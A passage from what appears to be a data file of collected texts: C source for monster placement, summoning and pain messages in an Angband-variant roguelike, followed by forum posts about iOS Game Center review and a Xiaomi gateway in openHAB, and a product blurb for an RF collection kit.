r_idx;\r\n\r\n\t/* Pick a monster */\r\n\tr_idx = get_mon_num(monster_level);\r\n\r\n\t/* Handle failure */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Attempt to place the monster */\r\n\tif (place_monster_aux(y, x, r_idx, slp, grp, 0)) return (TRUE);\r\n\r\n\t/* Oops */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * XXX XXX XXX Player Ghosts are such a hack, they have been completely\r\n * removed until Angband 2.8.0, in which there will actually be a small\r\n * number of \"unique\" monsters which will serve as the \"player ghosts\".\r\n * Each will have a place holder for the \"name\" of a deceased player,\r\n * which will be extracted from a \"bone\" file, or replaced with a\r\n * \"default\" name if a real name is not available.  Each ghost will\r\n * appear exactly once and will not induce a special feeling.\r\n *\r\n * Possible methods:\r\n *   (s) 1 Skeleton\r\n *   (z) 1 Zombie\r\n *   (M) 1 Mummy\r\n *   (G) 1 Polterguiest, 1 Spirit, 1 Ghost, 1 Shadow, 1 Phantom\r\n *   (W) 1 Wraith\r\n *   (V) 1 Vampire, 1 Vampire Lord\r\n *   (L) 1 Lich\r\n *\r\n * Possible change: Lose 1 ghost, Add \"Master Lich\"\r\n *\r\n * Possible change: Lose 2 ghosts, Add \"Wraith\", Add \"Master Lich\"\r\n *\r\n * Possible change: Lose 4 ghosts, lose 1 vampire lord\r\n *\r\n * Note that ghosts should never sleep, should be very attentive, should\r\n * have maximal hitpoints, drop only good (or great) items, should be\r\n * cold blooded, evil, undead, immune to poison, sleep, confusion, fear.\r\n *\r\n * Base monsters:\r\n *   Skeleton\r\n *   Zombie\r\n *   Mummy\r\n *   Poltergeist\r\n *   Spirit\r\n *   Ghost\r\n *   Vampire\r\n *   Wraith\r\n *   Vampire Lord\r\n *   Shadow\r\n *   Phantom\r\n *   Lich\r\n *\r\n * This routine will simply extract ghost names from files, and\r\n * attempt to allocate a player ghost somewhere in the dungeon,\r\n * note that normal allocation may also attempt to place ghosts,\r\n * so we must work with some form of default names.\r\n *\r\n * XXX XXX XXX\r\n */\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Attempt to allocate a random monster in the dungeon.\r\n *\r\n * Place the monster at least \"dis\" distance from the player.\r\n *\r\n * Use \"slp\" to choose the initial \"sleep\" status\r\n *\r\n * Use \"monster_level\" for the monster level\r\n */\r\nbool alloc_monster(int dis, bool slp)\r\n{\r\n\tint py = p_ptr->py;\r\n\tint px = p_ptr->px;\r\n\r\n\tint y, x;\r\n\tint\tattempts_left = 10000;\r\n\r\n\t/* Find a legal, distant, unoccupied, space */\r\n\twhile (--attempts_left)\r\n\t{\r\n\t\t/* Pick a location */\r\n\t\ty = rand_int(DUNGEON_HGT);\r\n\t\tx = rand_int(DUNGEON_WID);\r\n\r\n\t\t/* Require \"naked\" floor grid */\r\n\t\tif (!cave_naked_bold(y, x)) continue;\r\n\r\n\t\t/* Accept far away grids */\r\n\t\tif (distance(y, x, py, px) > dis) break;\r\n\t}\r\n\r\n\tif (!attempts_left)\r\n\t{\r\n\t\tif (cheat_xtra || cheat_hear)\r\n\t\t{\r\n\t\t\tmsg_print(\"Warning! Could not allocate a new monster.\");\r\n\t\t}\r\n\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t/* Attempt to place the monster, allow groups */\r\n\tif (place_monster(y, x, slp, TRUE)) return (TRUE);\r\n\r\n\t/* Nope */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- help decide if a monster race is \"okay\" to summon\r\n */\r\nstatic bool place_aquatic_okay(int r_idx)\r\n{\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\tbool okay = ((r_ptr->d_char == 'l') &&\r\n\t             (r_ptr->flags2 & (RF2_AQUATIC)));\r\n\r\n\t/* Result */\r\n\treturn (okay);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- attempt to place a monster at the given location\r\n *\r\n * Attempt to find a monster appropriate to the \"monster_level\"\r\n */\r\nbool place_aquatic_monster(int y, int x, bool slp, bool grp)\r\n{\r\n\tint r_idx;\r\n\r\n\t/* Require \"okay\" monsters */\r\n\tget_mon_num_hook = place_aquatic_okay;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\t/* Pick a monster */\r\n\tr_idx = get_mon_num(monster_level);\r\n\r\n\t/* Remove restriction */\r\n\tget_mon_num_hook = NULL;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\t/* Handle failure */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Attempt to place the monster */\r\n\tif (place_monster_aux(y, x, r_idx, slp, grp, 0)) return (TRUE);\r\n\r\n\t/* Oops */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n/*\r\n * Attempt to allocate a random monster in the dungeon.\r\n *\r\n * Place the monster at least \"dis\" distance from the player.\r\n *\r\n * Use \"slp\" to choose the initial \"sleep\" status\r\n *\r\n * Use \"monster_level\" for the monster level\r\n */\r\nbool alloc_aquatic_monster(int dis, bool slp)\r\n{\r\n\tint py = p_ptr->py;\r\n\tint px = p_ptr->px;\r\n\r\n\tint y, x;\r\n\tint\tattempts_left = 10000;\r\n\r\n\t/* Find a legal, distant, unoccupied, space */\r\n\twhile (--attempts_left)\r\n\t{\r\n\t\t/* Pick a location */\r\n\t\ty = rand_int(DUNGEON_HGT);\r\n\t\tx = rand_int(DUNGEON_WID);\r\n\r\n\t\t/* Require \"naked\" floor grid */\r\n\t\tif (!water_naked_bold(y, x)) continue;\r\n\r\n\t\t/* Accept far away grids */\r\n\t\tif (distance(y, x, py, px) > dis) break;\r\n\t}\r\n\r\n\tif (!attempts_left)\r\n\t{\r\n\t\tif (cheat_xtra || cheat_hear)\r\n\t\t{\r\n\t\t\tmsg_print(\"Warning! Could not allocate an aquatic monster.\");\r\n\t\t}\r\n\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t/* Attempt to place the monster, allow groups */\r\n\tif (place_aquatic_monster(y, x, slp, TRUE)) return (TRUE);\r\n\r\n\t/* Nope */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Hack -- the \"type\" of the current \"summon specific\"\r\n */\r\nstatic int summon_specific_type = 0;\r\n\r\n\r\n/*\r\n * Hack -- help decide if a monster race is \"okay\" to summon\r\n */\r\nstatic bool summon_specific_okay(int r_idx)\r\n{\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\tbool okay = FALSE;\r\n\r\n\r\n\t/* Hack -- no specific type specified */\r\n\tif (!summon_specific_type) return (TRUE);\r\n\r\n\r\n\t/* Check our requirements */\r\n\tswitch (summon_specific_type)\r\n\t{\r\n\t\tcase SUMMON_ANT:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'a') &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_SPIDER:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'S') &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HOUND:\r\n\t\t{\r\n\t\t\tokay = (((r_ptr->d_char == 'C') || (r_ptr->d_char == 'Z')) &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HYDRA:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'M') &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_ANGEL:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'A') &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_DEMON:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_DEMON)) &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_UNDEAD:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_UNDEAD)) &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_DRAGON:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_DRAGON)) &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_KIN:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == summon_kin_type) &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HI_UNDEAD:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'L') ||\r\n\t\t\t        (r_ptr->d_char == 'V') ||\r\n\t\t\t        (r_ptr->d_char == 'W'));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HI_DRAGON:\r\n\t\t{\r\n\t\t\tokay = (r_ptr->d_char == 'D');\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_HI_DEMON:\r\n\t\t{\r\n\t\t\tokay = (r_ptr->d_char == 'U');\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_WRAITH:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'W') &&\r\n\t\t\t        (r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_UNIQUE:\r\n\t\t{\r\n\t\t\tokay = (r_ptr->flags1 & (RF1_UNIQUE)) ? TRUE : FALSE;\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_WOLVES:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'C') &&\r\n\t\t\t        (r_idx == 186));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_SHADOWS:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'G') &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_ELEMENTAL:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->d_char == 'E') &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase SUMMON_ANIMALS:\r\n\t\t{\r\n\t\t\tokay = ((r_ptr->flags3 & (RF3_ANIMAL)) &&\r\n\t\t\t        !(r_ptr->flags1 & (RF1_UNIQUE)));\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (okay);\r\n}\r\n\r\n\r\n/*\r\n * Place a monster (of the specified \"type\") near the given\r\n * location.  Return TRUE iff a monster was actually summoned.\r\n *\r\n * We will attempt to place the monster up to 10 times before giving up.\r\n *\r\n * Note: SUMMON_UNIQUE and SUMMON_WRAITH (XXX) will summon Uniques\r\n * Note: SUMMON_HI_UNDEAD and SUMMON_HI_DRAGON may summon Uniques\r\n * Note: None of the other summon codes will ever summon Uniques.\r\n *\r\n * This function has been changed.  We now take the \"monster level\"\r\n * of the summoning monster as a parameter, and use that, along with\r\n * the current dungeon level, to help determine the level of the\r\n * desired monster.  Note that this is an upper bound, and also\r\n * tends to \"prefer\" monsters of that level.  Currently, we use\r\n * the average of the dungeon and monster levels, and then add\r\n * five to allow slight increases in monster power.\r\n *\r\n * Note that we use the new \"monster allocation table\" creation code\r\n * to restrict the \"get_mon_num()\" function to the set of \"legal\"\r\n * monsters, making this function much faster and more reliable.\r\n *\r\n * Note that this function may not succeed, though this is very rare.\r\n */\r\nbool summon_specific(int y1, int x1, int lev, int type, bool pet)\r\n{\r\n\tint i, x, y, r_idx;\r\n\r\n\r\n\t/* Look for a location */\r\n\tfor (i = 0; i < 20; ++i)\r\n\t{\r\n\t\t/* Pick a distance */\r\n\t\tint d = (i / 15) + 1;\r\n\r\n\t\t/* Pick a location */\r\n\t\tscatter(&y, &x, y1, x1, d, 0);\r\n\r\n\t\t/* Require \"empty\" floor grid */\r\n\t\tif (!cave_empty_bold(y, x)) continue;\r\n\r\n\t\t/* Hack -- no summon on glyph of warding */\r\n\t\tif (cave_feat[y][x] == FEAT_GLYPH) continue;\r\n\r\n\t\t/* Okay */\r\n\t\tbreak;\r\n\t}\r\n\r\n\t/* Failure */\r\n\tif (i == 20) return (FALSE);\r\n\r\n\r\n\t/* Save the \"summon\" type */\r\n\tsummon_specific_type = type;\r\n\r\n\r\n\t/* Require \"okay\" monsters */\r\n\tget_mon_num_hook = summon_specific_okay;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\r\n\t/* Pick a monster, using the level calculation */\r\n\tr_idx = get_mon_num((p_ptr->depth + lev) / 2 + 5);\r\n\r\n\r\n\t/* Remove restriction */\r\n\tget_mon_num_hook = NULL;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\r\n\t/* Handle failure */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Attempt to place the monster (awake, allow groups) */\r\n\tif (!place_monster_aux(y, x, r_idx, FALSE, TRUE, pet)) return (FALSE);\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Summon a monster - from Kamband\r\n */\r\nvoid summon_monster(int sumtype)\r\n{\r\n\tif (summon_specific(p_ptr->py, p_ptr->px, p_ptr->depth + randint(5),\r\n\t\t sumtype, TRUE))\r\n\t{\r\n\t\tmsg_print(\"You summon some help.\");\r\n\t}\r\n\telse\r\n\t{\r\n\t\tmsg_print(\"You called, but no help came.\");\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Let the given monster attempt to reproduce.\r\n *\r\n * Note that \"reproduction\" REQUIRES empty space.\r\n */\r\nbool multiply_monster(int m_idx)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\tint i, y, x;\r\n\r\n\tbool result = FALSE;\r\n\r\n\t/* Pets/friendlies breed pets. (Evil grin) */\r\n\tbool make_pets = (m_ptr->is_friendly ? TRUE : FALSE);\r\n\r\n\t/* Try up to 18 times */\r\n\tfor (i = 0; i < 18; i++)\r\n\t{\r\n\t\tint d = 1;\r\n\r\n\t\t/* Pick a location */\r\n\t\tscatter(&y, &x, m_ptr->fy, m_ptr->fx, d, 0);\r\n\r\n\t\t/* Require an \"empty\" floor grid */\r\n\t\tif (!cave_empty_bold(y, x)) continue;\r\n\r\n\t\t/* Create a new monster (awake, no groups) */\r\n\t\tresult = place_monster_aux(y, x, m_ptr->r_idx, FALSE, FALSE,\r\n\t\t\t\t\t   make_pets);\r\n\r\n\t\t/* Done */\r\n\t\tbreak;\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (result);\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Dump a message describing a monster's reaction to damage\r\n *\r\n * Technically should attempt to treat \"Beholder\"'s as jelly's\r\n */\r\nvoid message_pain(int m_idx, int dam)\r\n{\r\n\tlong oldhp, newhp, tmp;\r\n\tint percentage;\r\n\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\tchar m_name[80];\r\n\r\n\r\n\t/* Get the monster name */\r\n\tmonster_desc(m_name, m_ptr, 0);\r\n\r\n\t/* Notice non-damage */\r\n\tif (dam == 0)\r\n\t{\r\n\t\tmsg_format(\"%^s is unharmed.\", m_name);\r\n\t\treturn;\r\n\t}\r\n\r\n\t/* Note -- subtle fix -CFT */\r\n\tnewhp = (long)(m_ptr->hp);\r\n\toldhp = newhp + (long)(dam);\r\n\ttmp = (newhp * 100L) / oldhp;\r\n\tpercentage = (int)(tmp);\r\n\r\n\r\n\t/* Jelly's, Mold's, Vortex's, Quthl's */\r\n\tif (strchr(\"jmvQ\", r_ptr->d_char))\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s barely notices.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s flinches.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s squelches.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s quivers in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s writhes about.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s jerks limply.\", m_name);\r\n\t}\r\n\r\n\t/* Dogs and Hounds */\r\n\telse if (strchr(\"CZ\", r_ptr->d_char))\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s shrugs off the attack.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s snarls with pain.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s yelps in pain.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s howls in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s howls in agony.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s yelps feebly.\", m_name);\r\n\t}\r\n\r\n\t/* One type of monsters (ignore,squeal,shriek) */\r\n\telse if (strchr(\"FIKMRSXabclqrst\", r_ptr->d_char))\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s ignores the attack.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s grunts with pain.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s squeals in pain.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s shrieks in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s shrieks in agony.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s cries out feebly.\", m_name);\r\n\t}\r\n\r\n\t/* Another type of monsters (shrug,cry,scream) */\r\n\telse\r\n\t{\r\n\t\tif (percentage > 95)\r\n\t\t\tmsg_format(\"%^s shrugs off the attack.\", m_name);\r\n\t\telse if (percentage > 75)\r\n\t\t\tmsg_format(\"%^s grunts with pain.\", m_name);\r\n\t\telse if (percentage > 50)\r\n\t\t\tmsg_format(\"%^s cries out in pain.\", m_name);\r\n\t\telse if (percentage > 35)\r\n\t\t\tmsg_format(\"%^s screams in pain.\", m_name);\r\n\t\telse if (percentage > 20)\r\n\t\t\tmsg_format(\"%^s screams in agony.\", m_name);\r\n\t\telse if (percentage > 10)\r\n\t\t\tmsg_format(\"%^s writhes in agony.\", m_name);\r\n\t\telse\r\n\t\t\tmsg_format(\"%^s cries out feebly.\", m_name);\r\n\t}\r\n}\r\n\r\n\r\n\r\n/*\r\n * Learn about an \"observed\" resistance.\r\n */\r\nvoid update_smart_learn(int m_idx, int what)\r\n{\r\n\r\n#ifdef DRS_SMART_OPTIONS\r\n\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\r\n\t/* Too stupid to learn anything */\r\n\tif (r_ptr->flags2 & (RF2_STUPID)) return;\r\n\r\n\t/* Not intelligent, only learn sometimes */\r\n\tif (!(r_ptr->flags2 & (RF2_SMART)) && (rand_int(100) < 50)) return;\r\n\r\n\r\n\t/* XXX XXX XXX */\r\n\r\n\t/* Analyze the knowledge */\r\n\tswitch (what)\r\n\t{\r\n\t\tcase DRS_FREE:\r\n\t\t{\r\n\t\t\tif (p_ptr->free_act) m_ptr->smart |= (SM_IMM_FREE);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_MANA:\r\n\t\t{\r\n\t\t\tif (!p_ptr->msp) m_ptr->smart |= (SM_IMM_MANA);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_ACID:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_acid) m_ptr->smart |= (SM_RES_ACID);\r\n\t\t\tif (p_ptr->oppose_acid) m_ptr->smart |= (SM_OPP_ACID);\r\n\t\t\tif (p_ptr->immune_acid) m_ptr->smart |= (SM_IMM_ACID);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_ELEC:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_elec) m_ptr->smart |= (SM_RES_ELEC);\r\n\t\t\tif (p_ptr->oppose_elec) m_ptr->smart |= (SM_OPP_ELEC);\r\n\t\t\tif (p_ptr->immune_elec) m_ptr->smart |= (SM_IMM_ELEC);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_FIRE:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_fire) m_ptr->smart |= (SM_RES_FIRE);\r\n\t\t\tif (p_ptr->oppose_fire) m_ptr->smart |= (SM_OPP_FIRE);\r\n\t\t\tif (p_ptr->immune_fire) m_ptr->smart |= (SM_IMM_FIRE);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_COLD:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_cold) m_ptr->smart |= (SM_RES_COLD);\r\n\t\t\tif (p_ptr->oppose_cold) m_ptr->smart |= (SM_OPP_COLD);\r\n\t\t\tif (p_ptr->immune_cold) m_ptr->smart |= (SM_IMM_COLD);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_POIS:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_pois) m_ptr->smart |= (SM_RES_POIS);\r\n\t\t\tif (p_ptr->oppose_pois) m_ptr->smart |= (SM_OPP_POIS);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_FEAR:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_fear) m_ptr->smart |= (SM_RES_FEAR);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_LITE:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_lite) m_ptr->smart |= (SM_RES_LITE);\r\n\t\t\tif (p_ptr->oppose_ld) m_ptr->smart2 |= (SM2_OPP_LITE);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_DARK:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_dark) m_ptr->smart |= (SM_RES_DARK);\r\n\t\t\tif (p_ptr->oppose_ld) m_ptr->smart2 |= (SM2_OPP_DARK);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_BLIND:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_blind) m_ptr->smart |= (SM_RES_BLIND);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_CONFU:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_confu) m_ptr->smart |= (SM_RES_CONFU);\r\n\t\t\tif (p_ptr->oppose_cc) m_ptr->smart2 |= (SM2_OPP_CONFU);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_SOUND:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_sound) m_ptr->smart |= (SM_RES_SOUND);\r\n\t\t\tif (p_ptr->oppose_ss) m_ptr->smart2 |= (SM2_OPP_SOUND);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_SHARD:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_shard) m_ptr->smart |= (SM_RES_SHARD);\r\n\t\t\tif (p_ptr->oppose_ss) m_ptr->smart2 |= (SM2_OPP_SHARD);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_NEXUS:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_nexus) m_ptr->smart |= (SM_RES_NEXUS);\r\n\t\t\tif (p_ptr->oppose_nexus) m_ptr->smart2 |= (SM2_OPP_NEXUS);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_NETHR:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_nethr) m_ptr->smart |= (SM_RES_NETHR);\r\n\t\t\tif (p_ptr->oppose_nethr) m_ptr->smart2 |= (SM2_OPP_NETHR);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_CHAOS:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_chaos) m_ptr->smart |= (SM_RES_CHAOS);\r\n\t\t\tif (p_ptr->oppose_cc) m_ptr->smart2 |= (SM2_OPP_CHAOS);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tcase DRS_RES_DISEN:\r\n\t\t{\r\n\t\t\tif (p_ptr->resist_disen) m_ptr->smart |= (SM_RES_DISEN);\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n#endif /* DRS_SMART_OPTIONS */\r\n\r\n}", "source": "cpt_stack_code", "language": "code", "token_count": 19304, "token_count_with_eod": 19305, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I submitted Healer Quest for approval by Apple (iOS App Store), and I’ve been refused for the following reason :\n« We noticed that Game Center has been enabled for your app but there are no Game Center features within the app.\nSpecifically, the app has GC enabled and leaderboards and achievements have been submitted for review. However, no GC achievements or leaderboards were found in the app. »\nWell… I can swear there IS Game Center in my code. Actually it’s the exact same events that I am using with CranberryGames « Phonegap Game » on the Android version, where achievements and leaderboards are working perfectly. I’ve just replaced the PhonegapGame plugin with C2’s GameCenter equivalent, i.e. :\n« Authenticate user » at the start of the first layout.\n« report achievement \"achievementID\"» when the player unlocks an achievement.\n« Submit score N to leaderboard \"leaderboardID\" »\n« Show Leaderboard \"leaderboardID\" » on the title screen to check the different leaderboards\n« request Achievements » to show the list of achievements unlocked by the player on the title screen.\nI’m using Phonegap Build to export to iOS platform, while the Android version is exported with Intel XDK.\nDo I need to use other conditions / actions in order to make GC to work?\nIs there something I’m missing ?\nAny difference with the use of PhonegapGame plugin for Android / Intel XDK ?\nShould the IDs be types within \" \" ?\nThanks a lot for any idea about what could be wrong!\nDevelop games in your browser. Powerful, performant & highly capable.\nRable hey I'm encountering the same problem as you now, I exported my game using Cordova Project settings and convert the .IPA file using IntelXDK but it seems that the only thing that's working is the In-App Purchase (Even though it's giving me error) whereas the Game Center won't authenticate.\nI even created a \"Log In\" button to Game Center and the action is to \"Authenticate User\" but nothing showed up.\nIs there anyone out there who can help us? Would be greatly appreciated.\nFrom the moment I posted the message, I still don't have Apple's approval yet (it's pending), but I'm confident GC wil work on the build I submitted. At the very least the Leaderboards and achievements are working fine in Sandbox environment (I even can see the scores of the reviewers) so I guess it should be okay.\nDid you try your app in sandbox environment? Does it gives you a message \"Welcome back, (...)\" when you ask for authetification?\nRable game center won't even authenticate. I don't get any message saying that the GC plugin works on my end.\nIt should work. Is everything ok with your events? Do you authenticate on the start of layout?\nMaybe re-read the manual refrence entry to see if everything is correct on this side:\nDid you try to create events that trigger on auth fails or on auth success, to see whether authentification fails or gets no response at all?\nSolved, turns out that I have to install the testflight app and enable the sandbox mode, it works now.\nWhere did u do that, man? Changed test to sandbox? i can't find in", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 691, "token_count_with_eod": 692, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In some applications, a complete characterization of the entire downlink RF spectrum conditions is desired. The Autonomous Mobile Collection Kit enables users to place fixed probes at various places to monitor all downlink cellular network spectrum blocks and automatically collect base station identification data and RF measurements on all carriers for all 2G/3G/4G technologies.\nThe diagram below shows the Autonomous Collection Dataflow via Cloud Drive.\nThis diagram below shows a simple workflow for the remote collection operator.\nComfortable form-fitting back plate\nLight-weight frame and backpack enclosure increases comfort during long operations\nIn addition, the Autonomous Mobile Collection Kit can transfer files using a USB memory in place of the cloud drive as shown above.\nRugged internal frame with receiver, power supply, controller, and ventilation fans", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I know there is a lot of written stuff about the establishing the connection from OH2 to the gateway I already read a lot of not only on OH forums. I recently got my devce delivered and have attached it to my network and can get the date on the mobile app.\nBut I’m in no way able to configure the gateway in the way as described in the bindings docs.\nOH2 version 2.5.5\nXiaomi Home app: 5.8.16\nPlugin version: 1.5.2\nGateway firmware: 1.4.6_0012\nI’ve read also the thread about soldering UART to the gateway in order to access the system with serial connection. Honestly I would try to prevent this. I don’t want to risk damaging the case. My device is a flat one and Micro-USB powered. Not as others shown in the thread [SOLVED] Openhab2 - Xiaomi Mi Gateway - does not respond with build in 230v plug.\nI bought the xiaomi hub and some sensors recently and didn’t get it to work either. I tried pretty much everything…\nTo 